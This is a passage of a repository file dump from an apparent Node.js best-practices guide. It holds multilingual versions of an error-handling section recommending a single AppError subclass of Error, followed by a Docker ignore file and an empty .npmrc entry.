    "content": "# Utilisez uniquement l'objet intégré Error\n\n### Un paragraphe d'explication\n\nLa nature permissive de JavaScript ainsi que sa variété d'options de flux de code (par exemple, EventEmitter, fonction de rappel, promesses, etc.) peut faire varier considérablement la façon dont les développeurs génèrent des erreurs - certains utilisent des chaînes, d'autres définissent leurs propres types personnalisés. L'utilisation de l'objet Error intégré de Node.js aide à maintenir l'uniformité dans votre code et avec les bibliothèques tierces, il préserve également des informations importantes comme la StackTrace. Lors de la levée de l'exception, il est généralement recommandé de la remplir avec des propriétés contextuelles supplémentaires telles que le nom de l'erreur et le code d'erreur HTTP associé. Pour atteindre cette uniformité et ces pratiques, envisagez d'étendre l'objet Error avec des propriétés supplémentaires, mais attention à ne pas en faire trop. Il est généralement judicieux d'étendre l'objet Error une seule fois avec un AppError pour toutes les erreurs au niveau de l'application, et de passer en argument toutes les données dont vous avez besoin pour différencier les différents types d'erreurs. Il n'est pas nécessaire d'étendre l'objet Error plusieurs fois (une fois pour chaque cas d'erreur, comme DbError, HttpError). Consulter l'exemple de code ci-dessous.\n\n### Exemple de code - la bonne méthode\n\n```javascript\n// lève une Error depuis une fonction typique, qu'elle soit synchrone ou asynchrone\nif(!productToAdd)\n    throw new Error('Comment puis-je ajouter un nouveau produit lorsqu\\'aucune valeur n\\'est fournie ?');\n\n// 'lève' une Error depuis EventEmitter\nconst myEmitter = new MyEmitter();\nmyEmitter.emit('error', new Error('Oups !'));\n\n// 'lève' une Error depuis une promesse\nconst addProduct = async (productToAdd) => {\n  try {\n    const existingProduct = await DAL.getProduct(productToAdd.id);\n    if (existingProduct !== null) {\n      throw new Error('Le produit existe déjà !');\n    }\n  } catch (err) {\n    // ...\n  }\n}\n```\n\n### Exemple de code - la mauvaise méthode\n\n```javascript\n// lève une chaîne qui ne contient aucune information de trace de pile et autres propriétés de données importantes\nif(!productToAdd)\n    throw ('Comment puis-je ajouter un nouveau produit lorsqu\\'aucune valeur n\\'est fournie ?');\n```\n\n### Exemple de code - une méthode encore meilleure\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// objet d'erreur centralisé qui dérive de Error de Node\nfunction AppError(name, httpCode, description, isOperational) {\n    Error.call(this);\n    Error.captureStackTrace(this);\n    this.name = name;\n    //...d'autres propriétés attribuées ici\n};\n\nAppError.prototype = Object.create(Error.prototype);\nAppError.prototype.constructor = AppError;\n\nmodule.exports.AppError = AppError;\n\n// le client levant une exception\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'plus d\\'explications', true)\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// objet d'erreur centralisé qui dérive de Error de Node\nexport class AppError extends Error {\n  public readonly name: string;\n  public readonly httpCode: HttpCode;\n  public readonly isOperational: boolean;\n\n  constructor(name: string, httpCode: HttpCode, description: string, isOperational: boolean) {\n    super(description);\n\n    Object.setPrototypeOf(this, new.target.prototype); // restaure la chaîne du prototype\n\n    this.name = name;\n    this.httpCode = httpCode;\n    this.isOperational = isOperational;\n\n    Error.captureStackTrace(this);\n  }\n}\n\n// le client levant une exception\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'plus d\\'explications', true)\n```\n</details>\n\n*Explication sur `Object.setPrototypeOf` en Typescript : https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-2.html#support-for-newtarget*\n\n### Citation de blog : « Je ne vois pas l'intérêt d'avoir beaucoup de types d'objets d'erreur différents »\n\nExtrait du blog de Ben Nadel classé en 5ème position pour les mots clés “Node.js error object”\n\n>… Personnellement, je ne vois pas l'intérêt d'avoir beaucoup de types d'objets d'erreur différents [comparé à l'extension d'une seule fois de AppError] - JavaScript, en tant que langage, ne semble pas répondre à la capture d'erreurs basée sur le constructeur. En tant que tel, la différenciation sur une propriété d'objet semble beaucoup plus facile que la différenciation sur un type de constructeur…\n\n### Citation de blog : « Une chaîne n'est pas une erreur »\n\nExtrait du blog de devthought.com classé en 6ème position pour les mots clés “Node.js error object”\n\n> …le passage d'une chaîne au lieu d'une erreur entraîne une interopérabilité réduite entre les modules. Il rompt les contrats avec les API qui pourraient effectuer des vérifications d'Error avec `instanceof`, ou qui veulent en savoir plus sur l'erreur. Les objets d'Error, comme nous le verrons, ont des propriétés très intéressantes dans les moteurs JavaScript modernes en plus de contenir le message transmis au constructeur…\n\n### Citation de blog : « L'héritage d'Error n'ajoute pas trop de valeur »\n\nExtrait du blog de machadogj\n\n> …Un problème que j'ai avec la classe Error est qu'il n'est pas si simple à étendre. Bien sûr, vous pouvez hériter de la classe et créer vos propres classes d'erreur comme HttpError, DbError, etc. Cependant, cela prend du temps et n'ajoute pas trop de valeur [que de l'étendre une seule fois pour une AppError] à moins que vous ne fassiez quelque chose avec des types. Parfois, vous voulez simplement ajouter un message et conserver l'erreur interne, et parfois vous voudrez peut-être étendre l'erreur avec des paramètres, etc.…\n\n### Citation de blog : « Toutes les erreurs JavaScript et Système levées par Node.js héritent de Error »\n\nExtrait de la documentation officielle de Node.js\n\n> …Toutes les erreurs JavaScript et Système levées par Node.js héritent de, ou sont des instances de, la classe Error du JavaScript standard et sont garantes de fournir au moins les propriétés disponibles sur cette classe. Un objet Error JavaScript générique n'indique aucune circonstance particulière expliquant pourquoi l'erreur s'est produite. Les objets d'erreur capturent une « trace de la pile » détaillant le point dans le code où l'erreur a été instanciée et peuvent fournir une description textuelle de l'erreur. Toutes les erreurs générées par Node.js, y compris toutes les erreurs système et JavaScript, seront des instances ou hériteront de la classe Error…\n"
  },
  {
    "path": "sections/errorhandling/useonlythebuiltinerror.japanese.md",
    "content": "# 組み込みのエラーオブジェクトのみを使用する\n\n### 一段落説明\n\n多くのコードフローの選択肢（EventEmitter、コールバック、Promises など）を持っているという JavaScript の寛容な性質が、開発者のエラー発生方法に大きな差をもたらしています - 文字列を使用する人もいれば、独自のカスタム型を定義する人もいます。Node.js の組み込みエラーオブジェクトを使用することは、コード内やサードパーティのライブラリ間において一貫性を保つことを助け、さらにスタックトレースのような重要な情報を保持します。通常、例外を発生させるときは、エラー名や関連する HTTP エラーコードといった追加のコンテキスト属性情報を付与することがベストプラクティスです。この一貫性保持やプラクティスを達成するために、エラーオブジェクトを追加プロパティで拡張することを考えますが、やりすぎには注意が必要です。一般的に、すべてのアプリケーションレベルのエラーに対して、AppError という形で一度だけ組み込みのエラーオブジェクトを拡張し、異なる種類のエラーを区別するために必要なデータを引数として渡すことをおすすめします。何回も（DbError、HttpError のようにそれぞれのケースに応じて）エラーオブジェクトを拡張する必要はありません。以下のコード例を参考にしてください。\n\n### コード例 – 正しい方法\n\n```javascript\n// 同期または非同期に、典型的な関数からエラーを投げる\nif(!productToAdd)\n    throw new Error('How can I add new product when no value provided?');\n\n// EventEmitter からエラーを「投げる」\nconst myEmitter = new MyEmitter();\nmyEmitter.emit('error', new Error('whoops!'));\n\n// Promise からエラーを「投げる」\nconst addProduct = async (productToAdd) => {\n  try {\n    const existingProduct = await DAL.getProduct(productToAdd.id);\n    if (existingProduct !== null) {\n      throw new Error('Product already exists!');\n    }\n  } catch (err) {\n    // ...\n  }\n}\n```\n\n### コード例 – アンチパターン\n\n```javascript\n// 文字列を投げると、スタックトレース情報やその他の重要なデータプロパティを失います\nif(!productToAdd)\n    throw ('How can I add new product when no value provided?');\n```\n\n### コード例 – より優れた方法\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// Node のエラーから派生した、集中化されたエラーオブジェクト\nfunction AppError(name, httpCode, description, isOperational) {\n    Error.call(this);\n    Error.captureStackTrace(this);\n    this.name = name;\n    //...他のプロパティがここで割り当てられます\n};\n\nAppError.prototype = Object.create(Error.prototype);\nAppError.prototype.constructor = AppError;\n\nmodule.exports.AppError = AppError;\n\n// 例外を投げるクライアント\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'further explanation', true)\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// Node のエラーから派生した、集中化されたエラーオブジェクト\nexport class AppError extends Error {\n  public readonly name: string;\n  public readonly httpCode: HttpCode;\n  public readonly isOperational: boolean;\n\n  constructor(name: string, httpCode: HttpCode, description: string, isOperational: boolean) {\n    super(description);\n\n    Object.setPrototypeOf(this, new.target.prototype); // プロトタイプチェーンを復元する\n\n    this.name = name;\n    this.httpCode = httpCode;\n    this.isOperational = isOperational;\n\n    Error.captureStackTrace(this);\n  }\n}\n\n// 例外を投げるクライアント\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'further explanation', true)\n```\n</details>\n\n*TypeScript における `Object.setPrototypeOf` の説明: https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-2.html#support-for-newtarget*\n\n### ブログ引用: \"I don’t see the value in having lots of different types\"（たくさんの型を持つことに価値があるとは思えません）\n\nブログ Ben Nadel（「Node.js error object」というキーワードで 5 位）より\n\n>…「個人的には、（ただ一つのエラーオブジェクト型を持つことに比べて）たくさんのエラーオブジェクト型を持つことに価値があると思えません - JavaScript は言語として、コンストラクタベースのエラー捕捉には適していないようです。このように、オブジェクトのプロパティで区別することは、コンストラクタの型で区別するよりはるかに簡単です…\n\n### ブログ引用: \"A string is not an error\"（文字列はエラーではありません）\n\nブログ devthought.com（「Node.js error object」というキーワードで 6 位）より\n\n> …エラーの結果ではなく文字列を渡すことは、モジュール間の相互運用性を低下させます。`instanceof` エラーチェックを実施しているかもしれない、またはエラーについてより詳しく知りたい API との決まりごとを破壊します。エラーオブジェクトは、コンストラクタに渡されたメッセージを保持する以外にも、モダンな JavaScript エンジンにおいては非常に興味深いプロパティを持ってます…\n\n### ブログ引用: \"Inheriting from Error doesn’t add too much value\"（Error からの継承はあまり付加価値がありません）\n\nブログ machadogj より\n\n> …Error クラスが抱える一つの問題は、拡張することが単純ではないということです。もちろん、Error クラスを継承して、HttpError や DbError といった独自のエラークラスを作成することも可能です。しかしながら、手間もかかりますし、型を使って何かをしない限りは（AppError といった形で一度だけ拡張することに比べて）あまり付加価値がありません。ただメッセージを加えて内部エラーを保持したいときもあれば、パラメータでエラーを拡張したい場合もあるでしょう…\n\n### ブログ引用: \"All JavaScript and System errors raised by Node.js inherit from Error\"（Node.js で発生する全ての JavaScript エラーおよびシステムエラーは Error を継承しています）\n\nNode.js 公式ドキュメントより\n\n> …Node.js で発生する全ての JavaScript エラーおよびシステムエラーは、標準 JavaScript Error クラスを継承しているか、そのインスタンスとなっており、少なくともその標準クラスにおいて利用可能なプロパティが提供されることは保証されています。一般的な JavaScript エラーオブジェクトは、エラーが発生した原因の特定の状況を示しません。エラーオブジェクトは、エラーがインスタンス化されたコード内の箇所を詳細に示す「スタックトレース」をキャプチャし、エラーについてのテキスト説明を提供することができます。システムや JavaScript のエラーを含む、Node.js において作成されるすべてのエラーは、Error クラスのインスタンスであるか、クラスを継承したものとなるでしょう…\n"
  },
  {
    "path": "sections/errorhandling/useonlythebuiltinerror.korean.md",
    "content": "# 내장된 Error 객체만 사용하라\n\n### 한문단 설명\n\n다양한 코드 흐름 옵션(예:EventEmitter, Callbacks, Promises 등)과 함께 JS의 허용 가능한 특성은 개발자가 오류를 발생시키는 방법에 큰 차이를 둔다. – 일부 개발자들은 문자열을 사용하고, 일부는 그들만의 커스텀 타입을 정의한다. Node.js 내장 Error 객체를 사용하면 당신의 코드와 제 3자 라이브러리의 균일성을 유지할 수 있도록 도와주며, 또한 스택정보(StrackTrace)와 같은 중요한 정보도 보존할 수 있다. 예외가 발생할 때, 일반적으로 오류 이름이나 관련 HTTP 오류 코드같은 상황별로 추가적인 속성으로 채우는 것이 좋은 방법이다. 이 균일성과 관행을 얻을려면, Error 객체를 추가 속성으로 확장하라, 아래 코드 예 참조\n\n### 코드 예시 – 제대로 하기\n\n```javascript\n// throwing an Error from typical function, whether sync or async\nif(!productToAdd)\n    throw new Error(\"How can I add new product when no value provided?\");\n\n// 'throwing' an Error from EventEmitter\nconst myEmitter = new MyEmitter();\nmyEmitter.emit('error', new Error('whoops!'));\n\n// 'throwing' an Error from a Promise\nconst addProduct = async (productToAdd) => {\n  try {\n    const existingProduct = await DAL.getProduct(productToAdd.id);\n    if (existingProduct !== null) {\n      throw new Error(\"Product already exists!\");\n    }\n  } catch (err) {\n    // ...\n  }\n}\n```\n\n### 코드 예시 - 좋지않은 패턴\n\n```javascript\n// throwing a string lacks any stack trace information and other important data properties\nif(!productToAdd)\n    throw (\"How can I add new product when no value provided?\");\n```\n\n### 코드 예시 - 훨씬 더 좋다\n\n```javascript\n// centralized error object that derives from Node’s Error\nfunction AppError(name, httpCode, description, isOperational) {\n    Error.call(this);\n    Error.captureStackTrace(this);\n    this.name = name;\n    //...other properties assigned here\n};\n\nAppError.prototype = Object.create(Error.prototype);\nAppError.prototype.constructor = AppError;\n\nmodule.exports.AppError = AppError;\n\n// client throwing an exception\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, \"further explanation\", true)\n```\n\n### 블로그 인용: \"여러 가지 유형이 있다는 것은 가치가 없다고 본다\"\n\nBen Nadel 블로그에서 \"Node.js error 객체\" 키워드 5위에 위치했다.\n\n>…”개인적으로, 여러 가지 유형이 있다는 것은 가치가 없다고 본다 – 언어로서의 자바스크립트는 생성자 기반의 오류 파악에 적합하지 않은 것 같다. 따라서, 객체 속성에서 구별하는 것이 생성자 유형에서 구분하는 것보다 훨씬 쉬운 것 같다…\n\n### 블로그 인용: \"문자열은 오류가 아니다\"\n\ndevthought.com 블로그에서 \"Node.js error 객체\" 키워드 6위에 위치했다.\n\n> …오류 대신 문자열을 전달함으로써 모듈 간의 상호운용성이 줄어들었다. 문자열을 사용하면 `instanceof` 에러로 검사하는 API 계약을 깨뜨리는 데다가 오류의 자세한 정보도 알기 어렵다. 뒤에서 설명하겠지만, 최신 자바스크립트 엔진의 Error 객체에는 유용한 속성을 많이 있으며 생성자에 전달된 메시지도 포함된다…\n\n### 블로그 인용: \"에러로 부터 상속해도 많은 값을 추가하지 않는다\"\n\nmachadogj 블로그에서\n\n> …Error 클래스와 관련된 한 가지 문제는 확장하기가 그리 간단하지 않다는 것이다. 물론 클래스를 상속하고 HttpError, DbError 등 자신만의 에러 클래스를 만들 수 있다. 그러나, 당신이 타입으로 무엇인가를 하지 않는 한 이것은 시간이 걸리며 많은 값을 추가하지 않는다. 때로 당신은 메시지 추가와 내부 에러를 유지하길 원하고 때로는 매개 변수를 사용하여 에러를 확장하길 원할 것이다, 등등…\n\n### 블로그 인용: \"모든 자바스크립트와 시스템 에러들은 node.js이 상속한 에러로 부터 발생한다\"\n\nNode.js 공식문서에서\n\n> …Node.js에 의해 발생된 모든 자바스크립트 및 시스템 에러는 표준 자바스크립트 에러 클래스에서 상속되거나 표준 자바스크립트 에러 클래스의 인스턴스이며 최소한 그 클래스에서 사용할 수 있는 속성을 제공할 수 있도록 보장된다. 에러가 발생한 이유에 대한 특정 상황을 나타내지 않는 일반 자바스크립트 에러 객체. 에러 객체는 에러가 인스턴스화된 코드에서 포인트를 자세히 설명하는 \"스택 추적\"을 캡처(capture)하며, 에러에 대한 텍스트 설명을 제공할 수도 있다. 모든 시스템과 자바스크립트 에러를 포함한 Node.js에 의해, 생성된 모든 에러는, 에러 클래스의 인스턴스이거나, 상속 받은 것이다.…\n"
  },
  {
    "path": "sections/errorhandling/useonlythebuiltinerror.md",
    "content": "# Use only the built-in Error object\n\n### One Paragraph Explainer\n\nThe permissive nature of JavaScript along with its variety of code-flow options (e.g. EventEmitter, Callbacks, Promises, etc) pushes to great variance in how developers raise errors – some use strings, other define their own custom types. Using Node.js built-in Error object helps to keep uniformity within your code and with 3rd party libraries, it also preserves significant information like the StackTrace. When raising the exception, it’s usually a good practice to fill it with additional contextual properties like the error name and the associated HTTP error code. To achieve this uniformity and practices, consider extending the Error object with additional properties, but be careful not to overdo it. It's generally a good idea to extend the built-in Error object only once with an AppError for all the application level errors, and pass any data you need to differentiate between different kinds of errors as arguments. No need to extend the Error object multiple times (one for each error case, such as DbError, HttpError) See code examples below\n\n### Code Example – doing it right\n\n```javascript\n// throwing an Error from typical function, whether sync or async\nif(!productToAdd)\n    throw new Error('How can I add new product when no value provided?');\n\n// 'throwing' an Error from EventEmitter\nconst myEmitter = new MyEmitter();\nmyEmitter.emit('error', new Error('whoops!'));\n\n// 'throwing' an Error from a Promise\nconst addProduct = async (productToAdd) => {\n  try {\n    const existingProduct = await DAL.getProduct(productToAdd.id);\n    if (existingProduct !== null) {\n      throw new Error('Product already exists!');\n    }\n  } catch (err) {\n    // ...\n  }\n}\n```\n\n### Code example – Anti Pattern\n\n```javascript\n// throwing a string lacks any stack trace information and other important data properties\nif(!productToAdd)\n    throw ('How can I add new product when no value provided?');\n```\n\n### Code example – doing it even better\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// centralized error object that derives from Node’s Error\nfunction AppError(name, httpCode, description, isOperational) {\n    Error.call(this);\n    Error.captureStackTrace(this);\n    this.name = name;\n    //...other properties assigned here\n};\n\nAppError.prototype = Object.create(Error.prototype);\nAppError.prototype.constructor = AppError;\n\nmodule.exports.AppError = AppError;\n\n// client throwing an exception\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'further explanation', true)\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// centralized error object that derives from Node’s Error\nexport class AppError extends Error {\n  public readonly name: string;\n  public readonly httpCode: HttpCode;\n  public readonly isOperational: boolean;\n\n  constructor(name: string, httpCode: HttpCode, description: string, isOperational: boolean) {\n    super(description);\n\n    Object.setPrototypeOf(this, new.target.prototype); // restore prototype chain\n\n    this.name = name;\n    this.httpCode = httpCode;\n    this.isOperational = isOperational;\n\n    Error.captureStackTrace(this);\n  }\n}\n\n// client throwing an exception\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'further explanation', true)\n```\n</details>\n\n*Explanation about the `Object.setPrototypeOf` in Typescript: https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-2.html#support-for-newtarget*\n\n### Blog Quote: \"I don’t see the value in having lots of different types\"\n\nFrom the blog, Ben Nadel ranked 5 for the keywords “Node.js error object”\n\n>…”Personally, I don’t see the value in having lots of different types of error objects [in contrast with having only one] – JavaScript, as a language, doesn’t seem to cater to Constructor-based error-catching. As such, differentiating on an object property seems far easier than differentiating on a Constructor type…\n\n### Blog Quote: \"A string is not an error\"\n\nFrom the blog, devthought.com ranked 6 for the keywords “Node.js error object”\n\n> …passing a string instead of an error results in reduced interoperability between modules. It breaks contracts with APIs that might be performing `instanceof` Error checks, or that want to know more about the error. Error objects, as we’ll see, have very interesting properties in modern JavaScript engines besides holding the message passed to the constructor…\n\n### Blog Quote: \"Inheriting from Error doesn’t add too much value\"\n\nFrom the blog machadogj\n\n> …One problem that I have with the Error class is that is not so simple to extend. Of course, you can inherit the class and create your own Error classes like HttpError, DbError, etc. However, that takes time and doesn’t add too much value [compared to extending it only once for an AppError] unless you are doing something with types. Sometimes, you just want to add a message and keep the inner error, and sometimes you might want to extend the error with parameters, and such…\n\n### Blog Quote: \"All JavaScript and System errors raised by Node.js inherit from Error\"\n\nFrom Node.js official documentation\n\n> …All JavaScript and System errors raised by Node.js inherit from, or are instances of, the standard JavaScript Error class and are guaranteed to provide at least the properties available on that class. A generic JavaScript Error object that does not denote any specific circumstance of why the error occurred. Error objects capture a “stack trace” detailing the point in the code at which the Error was instantiated, and may provide a text description of the error. All errors generated by Node.js, including all System and JavaScript errors, will either be instances of or inherit from, the Error class…\n"
  },
  {
    "path": "sections/errorhandling/useonlythebuiltinerror.polish.md",
    "content": "# Używaj tylko wbudowanego obiektu Error\n\n### Wyjaśnienie jednym akapitem\n\nZezwalająca natura JavaScript wraz z różnorodnymi opcjami przepływu kodu (np. EventEmitter, Callbacki, Promises itp.) popycha do dużej rozbieżności w sposobie, w jaki programiści zgłaszają błędy - niektóre ciągi znaków, inne definiują własne typy niestandardowe. Korzystanie z wbudowanego obiektu Error Node.js pomaga zachować jednolitość w kodzie, a dzięki bibliotekom stron trzecich zachowuje również istotne informacje, takie jak StackTrace. Zgłaszając wyjątek, zwykle dobrą praktyką jest wypełnienie go dodatkowymi właściwościami kontekstowymi, takimi jak nazwa błędu i powiązany kod błędu HTTP. Aby osiągnąć tę jednolitość i praktyki, rozważ rozszerzenie obiektu Error o dodatkowe właściwości, ale uważaj, aby go nie przesadzić. Ogólnie dobrym pomysłem jest rozszerzenie wbudowanego obiektu Error tylko raz o AppError dla wszystkich błędów na poziomie aplikacji i przekazanie wszelkich danych potrzebnych do rozróżnienia różnych rodzajów błędów jako argumentów. Nie trzeba wielokrotnie rozszerzać obiektu Error (jeden dla każdego przypadku błędu, takiego jak DbError, HttpError) Zobacz przykłady kodu poniżej\n\n### Przykład kodu - robienie tego dobrze\n\n```javascript\n// throwing an Error from typical function, whether sync or async\nif(!productToAdd)\n    throw new Error('How can I add new product when no value provided?');\n\n// 'throwing' an Error from EventEmitter\nconst myEmitter = new MyEmitter();\nmyEmitter.emit('error', new Error('whoops!'));\n\n// 'throwing' an Error from a Promise\nconst addProduct = async (productToAdd) => {\n  try {\n    const existingProduct = await DAL.getProduct(productToAdd.id);\n    if (existingProduct !== null) {\n      throw new Error('Product already exists!');\n    }\n  } catch (err) {\n    // ...\n  }\n}\n```\n\n### Przykład kodu - Antywzorzec\n\n```javascript\n// throwing a string lacks any stack trace information and other important data properties\nif(!productToAdd)\n    throw ('How can I add new product when no value provided?');\n```\n\n### Przykład kodu – robienie tego nawet lepiej\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// centralized error object that derives from Node’s Error\nfunction AppError(name, httpCode, description, isOperational) {\n    Error.call(this);\n    Error.captureStackTrace(this);\n    this.name = name;\n    //...other properties assigned here\n};\n\nAppError.prototype = Object.create(Error.prototype);\nAppError.prototype.constructor = AppError;\n\nmodule.exports.AppError = AppError;\n\n// client throwing an exception\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'further explanation', true)\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// centralized error object that derives from Node’s Error\nexport class AppError extends Error {\n  public readonly name: string;\n  public readonly httpCode: HttpCode;\n  public readonly isOperational: boolean;\n\n  constructor(name: string, httpCode: HttpCode, description: string, isOperational: boolean) {\n    super(description);\n\n    Object.setPrototypeOf(this, new.target.prototype); // restore prototype chain\n\n    this.name = name;\n    this.httpCode = httpCode;\n    this.isOperational = isOperational;\n\n    Error.captureStackTrace(this);\n  }\n}\n\n// client throwing an exception\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'further explanation', true)\n```\n</details>\n\n*Wytłumaczenie na temat `Object.setPrototypeOf` w Typescript: https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-2.html#support-for-newtarget*\n\n### Cytat z Bloga: \"I don’t see the value in having lots of different types\"\n\nZ bloga, Ben Nadel w rankingu 5 słów kluczowych “Node.js error object”\n\n>…”Personally, I don’t see the value in having lots of different types of error objects [in contrast with having only one] – JavaScript, as a language, doesn’t seem to cater to Constructor-based error-catching. As such, differentiating on an object property seems far easier than differentiating on a Constructor type…\n\n### Cytat z Bloga: \"A string is not an error\"\n\nZ bloga, devthought.com w rankingu 6 słów kluczowych “Node.js error object”\n\n> …passing a string instead of an error results in reduced interoperability between modules. It breaks contracts with APIs that might be performing `instanceof` Error checks, or that want to know more about the error. Error objects, as we’ll see, have very interesting properties in modern JavaScript engines besides holding the message passed to the constructor…\n\n### Cytat z Bloga: \"Inheriting from Error doesn’t add too much value\"\n\nZ bloga machadogj\n\n> …One problem that I have with the Error class is that is not so simple to extend. Of course, you can inherit the class and create your own Error classes like HttpError, DbError, etc. However, that takes time and doesn’t add too much value [compared to extending it only once for an AppError] unless you are doing something with types. Sometimes, you just want to add a message and keep the inner error, and sometimes you might want to extend the error with parameters, and such…\n\n### Cytat z Bloga: \"All JavaScript and System errors raised by Node.js inherit from Error\"\n\nZ oficjalnej dokumentacji Node.js\n\n> …All JavaScript and System errors raised by Node.js inherit from, or are instances of, the standard JavaScript Error class and are guaranteed to provide at least the properties available on that class. A generic JavaScript Error object that does not denote any specific circumstance of why the error occurred. Error objects capture a “stack trace” detailing the point in the code at which the Error was instantiated, and may provide a text description of the error. All errors generated by Node.js, including all System and JavaScript errors, will either be instances of or inherit from, the Error class…\n"
  },
  {
    "path": "sections/errorhandling/useonlythebuiltinerror.russian.md",
    "content": "# Используйте только встроенный объект Error\n\n### Объяснение в один абзац\n\nГибкая природа JavaScript наряду с его разнообразием вариантов потока кода (например, EventEmitter, Callbacks, Promises и т.д.) приводит к значительному расхождению в том, как разработчики выдают ошибки - некоторые используют строки, другие определяют свои собственные пользовательские типы. Использование встроенного объекта Error в Node.js помогает сохранить единообразие в вашем коде, а с помощью сторонних библиотек он также сохраняет важную информацию, такую ​​как StackTrace. При возникновении исключения обычно рекомендуется заполнить его дополнительными контекстными свойствами, такими как имя ошибки и связанный код ошибки HTTP. Чтобы добиться этого единообразия и практики, рассмотрите возможность расширения объекта Error дополнительными свойствами, см. пример кода ниже.\n\n### Пример кода - делай все правильно\n\n```javascript\n// пробрасываем Error из типичной async или sync функции\nif(!productToAdd)\n    throw new Error('How can I add new product when no value provided?');\n\n// пробрасываем Error из EventEmitter\nconst myEmitter = new MyEmitter();\nmyEmitter.emit('error', new Error('whoops!'));\n\n// пробрасываем Error из Promise\nconst addProduct = async (productToAdd) => {\n  try {\n    const existingProduct = await DAL.getProduct(productToAdd.id);\n    if (existingProduct !== null) {\n      throw new Error('Product already exists!');\n    }\n  } catch (err) {\n    // ...\n  }\n}\n```\n\n### Пример кода - антипаттерн\n\n```javascript\n// пробрасывая строку, теряем информацию о stack trace и другие важные параметры\nif(!productToAdd)\n    throw ('How can I add new product when no value provided?');\n```\n\n### Пример кода - делаем еще лучше\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// главные объект ошибки производный от нодовского Error\nfunction AppError(name, httpCode, description, isOperational) {\n    Error.call(this);\n    Error.captureStackTrace(this);\n    this.name = name;\n    //... другие параметры тут\n};\n\nAppError.prototype = Object.create(Error.prototype);\nAppError.prototype.constructor = AppError;\n\nmodule.exports.AppError = AppError;\n\n// клиент пробрасывает исключение\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'further explanation', true)\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// главные объект ошибки производный от нодовского Error\nexport class AppError extends Error {\n  public readonly name: string;\n  public readonly httpCode: HttpCode;\n  public readonly isOperational: boolean;\n\n  constructor(name: string, httpCode: HttpCode, description: string, isOperational: boolean) {\n    super(description);\n\n    Object.setPrototypeOf(this, new.target.prototype); // восстанавливаем цепочку прототипов\n\n    this.name = name;\n    this.httpCode = httpCode;\n    this.isOperational = isOperational;\n\n    Error.captureStackTrace(this);\n  }\n}\n\n// клиент пробрасывает исключение\nif(user == null)\n    throw new AppError(commonErrors.resourceNotFound, commonHTTPErrors.notFound, 'further explanation', true)\n```\n</details>\n\n*Объяснение `Object.setPrototypeOf` в Typescript: https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-2.html#support-for-newtarget*\n\n### Цитата блога: \"Я не вижу смысла в том, чтобы иметь много разных типов\"\n\nИз блога Бен Надель, занял 5 место по ключевым словам \"объект ошибки Node.js\"\n\n> … Лично я не вижу смысла в том, чтобы иметь множество различных типов объектов ошибок - JavaScript, как язык, похоже, не предназначен для поиска ошибок на основе конструктора. Таким образом, определение по свойству объекта кажется гораздо проще, чем по типу Constructor …\n\n### Цитата блога: \"Строка не является ошибкой\"\n\nИз блога devthought.com, занял 6 место по ключевым словам \"Объект ошибки Node.js\"\n\n> … передача строки вместо ошибки приводит к снижению совместимости между модулями. Это нарушает контракты с API, которые могут выполнять проверки ошибок с помощью instanceof или хотят узнать больше об ошибке. Объекты ошибок, как мы увидим, обладают очень интересными свойствами в современных механизмах JavaScript, помимо хранения сообщения, переданного конструктору …\n\n### Цитата из блога: \"Наследование от ошибки не увеличивает их ценность\"\n\nИз блога Machadogj\n\n> … Одна проблема, которую я имею с классом Error, заключается в том, что его не так просто расширить. Конечно, вы можете наследовать класс и создавать свои собственные классы ошибок, такие как HttpError, DbError и т.д. Однако это занимает время и не добавляет слишком много значения, если вы не делаете что-то с типами. Иногда вам просто нужно добавить сообщение и сохранить внутреннюю ошибку, а иногда вам может понадобиться расширить ошибку с помощью параметров, и так далее …\n\n### Цитата из блога: \"Все ошибки JavaScript и системы, возникающие в Node.js, наследуются от Error\"\n\nИз официальной документации Node.js\n\n> … Все ошибки JavaScript и System, возникающие в Node.js, наследуются или являются экземплярами стандартного класса JavaScript Error и гарантированно предоставляют как минимум свойства, доступные в этом классе. Общий объект JavaScript Error, который не обозначает каких-либо конкретных обстоятельств, по которым произошла ошибка. Объекты ошибок фиксируют \"трассировку стека\", детализирующую точку в коде, в которой был создан экземпляр ошибки, и могут предоставлять текстовое описание ошибки. Все ошибки, сгенерированные Node.js, включая все системные ошибки и ошибки JavaScript, будут либо экземплярами класса Error, либо наследоваться от него …"
  },
  {
    "path": "sections/examples/dockerfile/.dockerignore",
    "content": "node_modules/\n.git\nREADME.md\nLICENSE\n.vscode\n.idea\nnpm-debug.log\ncoverage\n.env\n.editorconfig\n.aws\ndist\n.npmrc\n"
  },
  {
    "path": "sections/examples/dockerfile/.npmrc",
    "content": ""
  },
  {
    "path": "sections/examples/dockerfile/Dockerfile",
